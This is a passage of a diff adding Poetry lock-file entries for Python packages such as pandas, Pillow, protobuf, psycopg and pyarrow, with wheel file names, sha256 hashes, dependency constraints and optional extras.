+ {file = "pandas-2.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a18e5c72b989ff0f7197707ceddc99828320d0ca22ab50dd1b9e37db45b010c0"},
+ {file = "pandas-2.0.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7376e13d28eb16752c398ca1d36ccfe52bf7e887067af9a0474de6331dd948d2"},
+ {file = "pandas-2.0.2-cp38-cp38-win32.whl", hash = "sha256:6d6d10c2142d11d40d6e6c0a190b1f89f525bcf85564707e31b0a39e3b398e08"},
+ {file = "pandas-2.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:e69140bc2d29a8556f55445c15f5794490852af3de0f609a24003ef174528b79"},
+ {file = "pandas-2.0.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b42b120458636a981077cfcfa8568c031b3e8709701315e2bfa866324a83efa8"},
+ {file = "pandas-2.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f908a77cbeef9bbd646bd4b81214cbef9ac3dda4181d5092a4aa9797d1bc7774"},
+ {file = "pandas-2.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:713f2f70abcdade1ddd68fc91577cb090b3544b07ceba78a12f799355a13ee44"},
+ {file = "pandas-2.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cf3f0c361a4270185baa89ec7ab92ecaa355fe783791457077473f974f654df5"},
+ {file = "pandas-2.0.2-cp39-cp39-win32.whl", hash = "sha256:598e9020d85a8cdbaa1815eb325a91cfff2bb2b23c1442549b8a3668e36f0f77"},
+ {file = "pandas-2.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:77550c8909ebc23e56a89f91b40ad01b50c42cfbfab49b3393694a50549295ea"},
+ {file = "pandas-2.0.2.tar.gz", hash = "sha256:dd5476b6c3fe410ee95926873f377b856dbc4e81a9c605a0dc05aaccc6a7c6c6"},
+]
+
+[package.dependencies]
+numpy = [
+ {version = ">=1.21.0", markers = "python_version >= \"3.10\""},
+ {version = ">=1.23.2", markers = "python_version >= \"3.11\""},
+]
+python-dateutil = ">=2.8.2"
+pytz = ">=2020.1"
+tzdata = ">=2022.1"
+
+[package.extras]
+all = ["PyQt5 (>=5.15.1)", "SQLAlchemy (>=1.4.16)", "beautifulsoup4 (>=4.9.3)", "bottleneck (>=1.3.2)", "brotlipy (>=0.7.0)", "fastparquet (>=0.6.3)", "fsspec (>=2021.07.0)", "gcsfs (>=2021.07.0)", "html5lib (>=1.1)", "hypothesis (>=6.34.2)", "jinja2 (>=3.0.0)", "lxml (>=4.6.3)", "matplotlib (>=3.6.1)", "numba (>=0.53.1)", "numexpr (>=2.7.3)", "odfpy (>=1.4.1)", "openpyxl (>=3.0.7)", "pandas-gbq (>=0.15.0)", "psycopg2 (>=2.8.6)", "pyarrow (>=7.0.0)", "pymysql (>=1.0.2)", "pyreadstat (>=1.1.2)", "pytest (>=7.0.0)", "pytest-asyncio (>=0.17.0)", "pytest-xdist (>=2.2.0)", "python-snappy (>=0.6.0)", "pyxlsb (>=1.0.8)", "qtpy (>=2.2.0)", "s3fs (>=2021.08.0)", "scipy (>=1.7.1)", "tables (>=3.6.1)", "tabulate (>=0.8.9)", "xarray (>=0.21.0)", "xlrd (>=2.0.1)", "xlsxwriter (>=1.4.3)", "zstandard (>=0.15.2)"]
+aws = ["s3fs (>=2021.08.0)"]
+clipboard = ["PyQt5 (>=5.15.1)", "qtpy (>=2.2.0)"]
+compression = ["brotlipy (>=0.7.0)", "python-snappy (>=0.6.0)", "zstandard (>=0.15.2)"]
+computation = ["scipy (>=1.7.1)", "xarray (>=0.21.0)"]
+excel = ["odfpy (>=1.4.1)", "openpyxl (>=3.0.7)", "pyxlsb (>=1.0.8)", "xlrd (>=2.0.1)", "xlsxwriter (>=1.4.3)"]
+feather = ["pyarrow (>=7.0.0)"]
+fss = ["fsspec (>=2021.07.0)"]
+gcp = ["gcsfs (>=2021.07.0)", "pandas-gbq (>=0.15.0)"]
+hdf5 = ["tables (>=3.6.1)"]
+html = ["beautifulsoup4 (>=4.9.3)", "html5lib (>=1.1)", "lxml (>=4.6.3)"]
+mysql = ["SQLAlchemy (>=1.4.16)", "pymysql (>=1.0.2)"]
+output-formatting = ["jinja2 (>=3.0.0)", "tabulate (>=0.8.9)"]
+parquet = ["pyarrow (>=7.0.0)"]
+performance = ["bottleneck (>=1.3.2)", "numba (>=0.53.1)", "numexpr (>=2.7.1)"]
+plot = ["matplotlib (>=3.6.1)"]
+postgresql = ["SQLAlchemy (>=1.4.16)", "psycopg2 (>=2.8.6)"]
+spss = ["pyreadstat (>=1.1.2)"]
+sql-other = ["SQLAlchemy (>=1.4.16)"]
+test = ["hypothesis (>=6.34.2)", "pytest (>=7.0.0)", "pytest-asyncio (>=0.17.0)", "pytest-xdist (>=2.2.0)"]
+xml = ["lxml (>=4.6.3)"]
+
+[[package]]
+name = "pillow"
+version = "9.5.0"
+description = "Python Imaging Library (Fork)"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "Pillow-9.5.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:ace6ca218308447b9077c14ea4ef381ba0b67ee78d64046b3f19cf4e1139ad16"},
+ {file = "Pillow-9.5.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d3d403753c9d5adc04d4694d35cf0391f0f3d57c8e0030aac09d7678fa8030aa"},
+ {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ba1b81ee69573fe7124881762bb4cd2e4b6ed9dd28c9c60a632902fe8db8b38"},
+ {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fe7e1c262d3392afcf5071df9afa574544f28eac825284596ac6db56e6d11062"},
+ {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f36397bf3f7d7c6a3abdea815ecf6fd14e7fcd4418ab24bae01008d8d8ca15e"},
+ {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:252a03f1bdddce077eff2354c3861bf437c892fb1832f75ce813ee94347aa9b5"},
+ {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:85ec677246533e27770b0de5cf0f9d6e4ec0c212a1f89dfc941b64b21226009d"},
+ {file = "Pillow-9.5.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b416f03d37d27290cb93597335a2f85ed446731200705b22bb927405320de903"},
+ {file = "Pillow-9.5.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:1781a624c229cb35a2ac31cc4a77e28cafc8900733a864870c49bfeedacd106a"},
+ {file = "Pillow-9.5.0-cp310-cp310-win32.whl", hash = "sha256:8507eda3cd0608a1f94f58c64817e83ec12fa93a9436938b191b80d9e4c0fc44"},
+ {file = "Pillow-9.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:d3c6b54e304c60c4181da1c9dadf83e4a54fd266a99c70ba646a9baa626819eb"},
+ {file = "Pillow-9.5.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:7ec6f6ce99dab90b52da21cf0dc519e21095e332ff3b399a357c187b1a5eee32"},
+ {file = "Pillow-9.5.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:560737e70cb9c6255d6dcba3de6578a9e2ec4b573659943a5e7e4af13f298f5c"},
+ {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:96e88745a55b88a7c64fa49bceff363a1a27d9a64e04019c2281049444a571e3"},
+ {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d9c206c29b46cfd343ea7cdfe1232443072bbb270d6a46f59c259460db76779a"},
+ {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cfcc2c53c06f2ccb8976fb5c71d448bdd0a07d26d8e07e321c103416444c7ad1"},
+ {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:a0f9bb6c80e6efcde93ffc51256d5cfb2155ff8f78292f074f60f9e70b942d99"},
+ {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:8d935f924bbab8f0a9a28404422da8af4904e36d5c33fc6f677e4c4485515625"},
+ {file = "Pillow-9.5.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:fed1e1cf6a42577953abbe8e6cf2fe2f566daebde7c34724ec8803c4c0cda579"},
+ {file = "Pillow-9.5.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c1170d6b195555644f0616fd6ed929dfcf6333b8675fcca044ae5ab110ded296"},
+ {file = "Pillow-9.5.0-cp311-cp311-win32.whl", hash = "sha256:54f7102ad31a3de5666827526e248c3530b3a33539dbda27c6843d19d72644ec"},
+ {file = "Pillow-9.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:cfa4561277f677ecf651e2b22dc43e8f5368b74a25a8f7d1d4a3a243e573f2d4"},
+ {file = "Pillow-9.5.0-cp311-cp311-win_arm64.whl", hash = "sha256:965e4a05ef364e7b973dd17fc765f42233415974d773e82144c9bbaaaea5d089"},
+ {file = "Pillow-9.5.0-cp312-cp312-win32.whl", hash = "sha256:22baf0c3cf0c7f26e82d6e1adf118027afb325e703922c8dfc1d5d0156bb2eeb"},
+ {file = "Pillow-9.5.0-cp312-cp312-win_amd64.whl", hash = "sha256:432b975c009cf649420615388561c0ce7cc31ce9b2e374db659ee4f7d57a1f8b"},
+ {file = "Pillow-9.5.0-cp37-cp37m-macosx_10_10_x86_64.whl", hash = "sha256:5d4ebf8e1db4441a55c509c4baa7a0587a0210f7cd25fcfe74dbbce7a4bd1906"},
+ {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:375f6e5ee9620a271acb6820b3d1e94ffa8e741c0601db4c0c4d3cb0a9c224bf"},
+ {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99eb6cafb6ba90e436684e08dad8be1637efb71c4f2180ee6b8f940739406e78"},
+ {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2dfaaf10b6172697b9bceb9a3bd7b951819d1ca339a5ef294d1f1ac6d7f63270"},
+ {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:763782b2e03e45e2c77d7779875f4432e25121ef002a41829d8868700d119392"},
+ {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:35f6e77122a0c0762268216315bf239cf52b88865bba522999dc38f1c52b9b47"},
+ {file = "Pillow-9.5.0-cp37-cp37m-win32.whl", hash = "sha256:aca1c196f407ec7cf04dcbb15d19a43c507a81f7ffc45b690899d6a76ac9fda7"},
+ {file = "Pillow-9.5.0-cp37-cp37m-win_amd64.whl", hash = "sha256:322724c0032af6692456cd6ed554bb85f8149214d97398bb80613b04e33769f6"},
+ {file = "Pillow-9.5.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:a0aa9417994d91301056f3d0038af1199eb7adc86e646a36b9e050b06f526597"},
+ {file = "Pillow-9.5.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:f8286396b351785801a976b1e85ea88e937712ee2c3ac653710a4a57a8da5d9c"},
+ {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c830a02caeb789633863b466b9de10c015bded434deb3ec87c768e53752ad22a"},
+ {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fbd359831c1657d69bb81f0db962905ee05e5e9451913b18b831febfe0519082"},
+ {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8fc330c3370a81bbf3f88557097d1ea26cd8b019d6433aa59f71195f5ddebbf"},
+ {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:7002d0797a3e4193c7cdee3198d7c14f92c0836d6b4a3f3046a64bd1ce8df2bf"},
+ {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:229e2c79c00e85989a34b5981a2b67aa079fd08c903f0aaead522a1d68d79e51"},
+ {file = "Pillow-9.5.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:9adf58f5d64e474bed00d69bcd86ec4bcaa4123bfa70a65ce72e424bfb88ed96"},
+ {file = "Pillow-9.5.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:662da1f3f89a302cc22faa9f14a262c2e3951f9dbc9617609a47521c69dd9f8f"},
+ {file = "Pillow-9.5.0-cp38-cp38-win32.whl", hash = "sha256:6608ff3bf781eee0cd14d0901a2b9cc3d3834516532e3bd673a0a204dc8615fc"},
+ {file = "Pillow-9.5.0-cp38-cp38-win_amd64.whl", hash = "sha256:e49eb4e95ff6fd7c0c402508894b1ef0e01b99a44320ba7d8ecbabefddcc5569"},
+ {file = "Pillow-9.5.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:482877592e927fd263028c105b36272398e3e1be3269efda09f6ba21fd83ec66"},
+ {file = "Pillow-9.5.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3ded42b9ad70e5f1754fb7c2e2d6465a9c842e41d178f262e08b8c85ed8a1d8e"},
+ {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c446d2245ba29820d405315083d55299a796695d747efceb5717a8b450324115"},
+ {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aca1152d93dcc27dc55395604dcfc55bed5f25ef4c98716a928bacba90d33a3"},
+ {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:608488bdcbdb4ba7837461442b90ea6f3079397ddc968c31265c1e056964f1ef"},
+ {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:60037a8db8750e474af7ffc9faa9b5859e6c6d0a50e55c45576bf28be7419705"},
+ {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:07999f5834bdc404c442146942a2ecadd1cb6292f5229f4ed3b31e0a108746b1"},
+ {file = "Pillow-9.5.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:a127ae76092974abfbfa38ca2d12cbeddcdeac0fb71f9627cc1135bedaf9d51a"},
+ {file = "Pillow-9.5.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:489f8389261e5ed43ac8ff7b453162af39c3e8abd730af8363587ba64bb2e865"},
+ {file = "Pillow-9.5.0-cp39-cp39-win32.whl", hash = "sha256:9b1af95c3a967bf1da94f253e56b6286b50af23392a886720f563c547e48e964"},
+ {file = "Pillow-9.5.0-cp39-cp39-win_amd64.whl", hash = "sha256:77165c4a5e7d5a284f10a6efaa39a0ae8ba839da344f20b111d62cc932fa4e5d"},
+ {file = "Pillow-9.5.0-pp38-pypy38_pp73-macosx_10_10_x86_64.whl", hash = "sha256:833b86a98e0ede388fa29363159c9b1a294b0905b5128baf01db683672f230f5"},
+ {file = "Pillow-9.5.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aaf305d6d40bd9632198c766fb64f0c1a83ca5b667f16c1e79e1661ab5060140"},
+ {file = "Pillow-9.5.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0852ddb76d85f127c135b6dd1f0bb88dbb9ee990d2cd9aa9e28526c93e794fba"},
+ {file = "Pillow-9.5.0-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:91ec6fe47b5eb5a9968c79ad9ed78c342b1f97a091677ba0e012701add857829"},
+ {file = "Pillow-9.5.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:cb841572862f629b99725ebaec3287fc6d275be9b14443ea746c1dd325053cbd"},
+ {file = "Pillow-9.5.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:c380b27d041209b849ed246b111b7c166ba36d7933ec6e41175fd15ab9eb1572"},
+ {file = "Pillow-9.5.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7c9af5a3b406a50e313467e3565fc99929717f780164fe6fbb7704edba0cebbe"},
+ {file = "Pillow-9.5.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5671583eab84af046a397d6d0ba25343c00cd50bce03787948e0fff01d4fd9b1"},
+ {file = "Pillow-9.5.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:84a6f19ce086c1bf894644b43cd129702f781ba5751ca8572f08aa40ef0ab7b7"},
+ {file = "Pillow-9.5.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:1e7723bd90ef94eda669a3c2c19d549874dd5badaeefabefd26053304abe5799"},
+ {file = "Pillow-9.5.0.tar.gz", hash = "sha256:bf548479d336726d7a0eceb6e767e179fbde37833ae42794602631a070d630f1"},
+]
+
+[package.extras]
+docs = ["furo", "olefile", "sphinx (>=2.4)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinx-removed-in", "sphinxext-opengraph"]
+tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout"]
+
+[[package]]
+name = "protobuf"
+version = "4.23.2"
+description = ""
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "protobuf-4.23.2-cp310-abi3-win32.whl", hash = "sha256:384dd44cb4c43f2ccddd3645389a23ae61aeb8cfa15ca3a0f60e7c3ea09b28b3"},
+ {file = "protobuf-4.23.2-cp310-abi3-win_amd64.whl", hash = "sha256:09310bce43353b46d73ba7e3bca78273b9bc50349509b9698e64d288c6372c2a"},
+ {file = "protobuf-4.23.2-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:b2cfab63a230b39ae603834718db74ac11e52bccaaf19bf20f5cce1a84cf76df"},
+ {file = "protobuf-4.23.2-cp37-abi3-manylinux2014_aarch64.whl", hash = "sha256:c52cfcbfba8eb791255edd675c1fe6056f723bf832fa67f0442218f8817c076e"},
+ {file = "protobuf-4.23.2-cp37-abi3-manylinux2014_x86_64.whl", hash = "sha256:86df87016d290143c7ce3be3ad52d055714ebaebb57cc659c387e76cfacd81aa"},
+ {file = "protobuf-4.23.2-cp37-cp37m-win32.whl", hash = "sha256:281342ea5eb631c86697e1e048cb7e73b8a4e85f3299a128c116f05f5c668f8f"},
+ {file = "protobuf-4.23.2-cp37-cp37m-win_amd64.whl", hash = "sha256:ce744938406de1e64b91410f473736e815f28c3b71201302612a68bf01517fea"},
+ {file = "protobuf-4.23.2-cp38-cp38-win32.whl", hash = "sha256:6c081863c379bb1741be8f8193e893511312b1d7329b4a75445d1ea9955be69e"},
+ {file = "protobuf-4.23.2-cp38-cp38-win_amd64.whl", hash = "sha256:25e3370eda26469b58b602e29dff069cfaae8eaa0ef4550039cc5ef8dc004511"},
+ {file = "protobuf-4.23.2-cp39-cp39-win32.whl", hash = "sha256:efabbbbac1ab519a514579ba9ec52f006c28ae19d97915951f69fa70da2c9e91"},
+ {file = "protobuf-4.23.2-cp39-cp39-win_amd64.whl", hash = "sha256:54a533b971288af3b9926e53850c7eb186886c0c84e61daa8444385a4720297f"},
+ {file = "protobuf-4.23.2-py3-none-any.whl", hash = "sha256:8da6070310d634c99c0db7df48f10da495cc283fd9e9234877f0cd182d43ab7f"},
+ {file = "protobuf-4.23.2.tar.gz", hash = "sha256:20874e7ca4436f683b64ebdbee2129a5a2c301579a67d1a7dda2cdf62fb7f5f7"},
+]
+
+[[package]]
+name = "psycopg"
+version = "3.1.9"
+description = "PostgreSQL database adapter for Python"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "psycopg-3.1.9-py3-none-any.whl", hash = "sha256:fbbac339274d8733ee70ba9822297af3e8871790a26e967b5ea53e30a4b74dcc"},
+ {file = "psycopg-3.1.9.tar.gz", hash = "sha256:ab400f207a8c120bafdd8077916d8f6c0106e809401378708485b016508c30c9"},
+]
+
+[package.dependencies]
+typing-extensions = ">=4.1"
+tzdata = {version = "*", markers = "sys_platform == \"win32\""}
+
+[package.extras]
+binary = ["psycopg-binary (==3.1.9)"]
+c = ["psycopg-c (==3.1.9)"]
+dev = ["black (>=23.1.0)", "dnspython (>=2.1)", "flake8 (>=4.0)", "mypy (>=1.2)", "types-setuptools (>=57.4)", "wheel (>=0.37)"]
+docs = ["Sphinx (>=5.0)", "furo (==2022.6.21)", "sphinx-autobuild (>=2021.3.14)", "sphinx-autodoc-typehints (>=1.12)"]
+pool = ["psycopg-pool"]
+test = ["anyio (>=3.6.2)", "mypy (>=1.2)", "pproxy (>=2.7)", "pytest (>=6.2.5)", "pytest-cov (>=3.0)", "pytest-randomly (>=3.5)"]
+
+[[package]]
+name = "psycopg2"
+version = "2.9.6"
+description = "psycopg2 - Python-PostgreSQL Database Adapter"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "psycopg2-2.9.6-cp310-cp310-win32.whl", hash = "sha256:f7a7a5ee78ba7dc74265ba69e010ae89dae635eea0e97b055fb641a01a31d2b1"},
+ {file = "psycopg2-2.9.6-cp310-cp310-win_amd64.whl", hash = "sha256:f75001a1cbbe523e00b0ef896a5a1ada2da93ccd752b7636db5a99bc57c44494"},
+ {file = "psycopg2-2.9.6-cp311-cp311-win32.whl", hash = "sha256:53f4ad0a3988f983e9b49a5d9765d663bbe84f508ed655affdb810af9d0972ad"},
+ {file = "psycopg2-2.9.6-cp311-cp311-win_amd64.whl", hash = "sha256:b81fcb9ecfc584f661b71c889edeae70bae30d3ef74fa0ca388ecda50b1222b7"},
+ {file = "psycopg2-2.9.6-cp36-cp36m-win32.whl", hash = "sha256:11aca705ec888e4f4cea97289a0bf0f22a067a32614f6ef64fcf7b8bfbc53744"},
+ {file = "psycopg2-2.9.6-cp36-cp36m-win_amd64.whl", hash = "sha256:36c941a767341d11549c0fbdbb2bf5be2eda4caf87f65dfcd7d146828bd27f39"},
+ {file = "psycopg2-2.9.6-cp37-cp37m-win32.whl", hash = "sha256:869776630c04f335d4124f120b7fb377fe44b0a7645ab3c34b4ba42516951889"},
+ {file = "psycopg2-2.9.6-cp37-cp37m-win_amd64.whl", hash = "sha256:a8ad4a47f42aa6aec8d061fdae21eaed8d864d4bb0f0cade5ad32ca16fcd6258"},
+ {file = "psycopg2-2.9.6-cp38-cp38-win32.whl", hash = "sha256:2362ee4d07ac85ff0ad93e22c693d0f37ff63e28f0615a16b6635a645f4b9214"},
+ {file = "psycopg2-2.9.6-cp38-cp38-win_amd64.whl", hash = "sha256:d24ead3716a7d093b90b27b3d73459fe8cd90fd7065cf43b3c40966221d8c394"},
+ {file = "psycopg2-2.9.6-cp39-cp39-win32.whl", hash = "sha256:1861a53a6a0fd248e42ea37c957d36950da00266378746588eab4f4b5649e95f"},
+ {file = "psycopg2-2.9.6-cp39-cp39-win_amd64.whl", hash = "sha256:ded2faa2e6dfb430af7713d87ab4abbfc764d8d7fb73eafe96a24155f906ebf5"},
+ {file = "psycopg2-2.9.6.tar.gz", hash = "sha256:f15158418fd826831b28585e2ab48ed8df2d0d98f502a2b4fe619e7d5ca29011"},
+]
+
+[[package]]
+name = "pyarrow"
+version = "12.0.0"
+description = "Python library for Apache Arrow"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pyarrow-12.0.0-cp310-cp310-macosx_10_14_x86_64.whl", hash = "sha256:3b97649c8a9a09e1d8dc76513054f1331bd9ece78ee39365e6bf6bc7503c1e94"},
+ {file = "pyarrow-12.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:bc4ea634dacb03936f50fcf59574a8e727f90c17c24527e488d8ceb52ae284de"},
+ {file = "pyarrow-12.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d568acfca3faa565d663e53ee34173be8e23a95f78f2abfdad198010ec8f745"},
+ {file = "pyarrow-12.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1b50bb9a82dca38a002d7cbd802a16b1af0f8c50ed2ec94a319f5f2afc047ee9"},
+ {file = "pyarrow-12.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:3d1733b1ea086b3c101427d0e57e2be3eb964686e83c2363862a887bb5c41fa8"},
+ {file = "pyarrow-12.0.0-cp311-cp311-macosx_10_14_x86_64.whl", hash = "sha256:a7cd32fe77f967fe08228bc100433273020e58dd6caced12627bcc0a7675a513"},
+ {file = "pyarrow-12.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:92fb031e6777847f5c9b01eaa5aa0c9033e853ee80117dce895f116d8b0c3ca3"},
+ {file = "pyarrow-12.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:280289ebfd4ac3570f6b776515baa01e4dcbf17122c401e4b7170a27c4be63fd"},
+ {file = "pyarrow-12.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:272f147d4f8387bec95f17bb58dcfc7bc7278bb93e01cb7b08a0e93a8921e18e"},
+ {file = "pyarrow-12.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:0846ace49998825eda4722f8d7f83fa05601c832549c9087ea49d6d5397d8cec"},
+ {file = "pyarrow-12.0.0-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:993287136369aca60005ee7d64130f9466489c4f7425f5c284315b0a5401ccd9"},
+ {file = "pyarrow-12.0.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7a7b6a765ee4f88efd7d8348d9a1f804487d60799d0428b6ddf3344eaef37282"},
+ {file = "pyarrow-12.0.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a1c4fce253d5bdc8d62f11cfa3da5b0b34b562c04ce84abb8bd7447e63c2b327"},
+ {file = "pyarrow-12.0.0-cp37-cp37m-win_amd64.whl", hash = "sha256:e6be4d85707fc8e7a221c8ab86a40449ce62559ce25c94321df7c8500245888f"},
+ {file = "pyarrow-12.0.0-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:ea830d9f66bfb82d30b5794642f83dd0e4a718846462d22328981e9eb149cba8"},
+ {file = "pyarrow-12.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7b5b9f60d9ef756db59bec8d90e4576b7df57861e6a3d6a8bf99538f68ca15b3"},
+ {file = "pyarrow-12.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b99e559d27db36ad3a33868a475f03e3129430fc065accc839ef4daa12c6dab6"},
+ {file = "pyarrow-12.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b0810864a593b89877120972d1f7af1d1c9389876dbed92b962ed81492d3ffc"},
+ {file = "pyarrow-12.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:23a77d97f4d101ddfe81b9c2ee03a177f0e590a7e68af15eafa06e8f3cf05976"},
+ {file = "pyarrow-12.0.0-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:2cc63e746221cddb9001f7281dee95fd658085dd5b717b076950e1ccc607059c"},
+ {file = "pyarrow-12.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:d8c26912607e26c2991826bbaf3cf2b9c8c3e17566598c193b492f058b40d3a4"},
+ {file = "pyarrow-12.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d8b90efc290e99a81d06015f3a46601c259ecc81ffb6d8ce288c91bd1b868c9"},
+ {file = "pyarrow-12.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2466be046b81863be24db370dffd30a2e7894b4f9823fb60ef0a733c31ac6256"},
+ {file = "pyarrow-12.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:0e36425b1c1cbf5447718b3f1751bf86c58f2b3ad299f996cd9b1aa040967656"},
+ {file = "pyarrow-12.0.0.tar.gz", hash = "sha256:19c812d303610ab5d664b7b1de4051ae23565f9f94d04cbea9e50569746ae1ee"},
+]
+
+[package.dependencies]
+numpy = ">=1.16.6"
+
+[[package]]
+name = "pycparser"
+version = "2.21"
+description = "C parser in Python"
+category = "main"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+files = [
+ {file = "pycparser-2.21-py2.py3-none-any.whl", hash = "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9"},
+ {file = "pycparser-2.21.tar.gz", hash = "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"},
+]
+
+[[package]]
+name = "pydeck"
+version = "0.8.1b0"
+description = "Widget for deck.gl maps"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
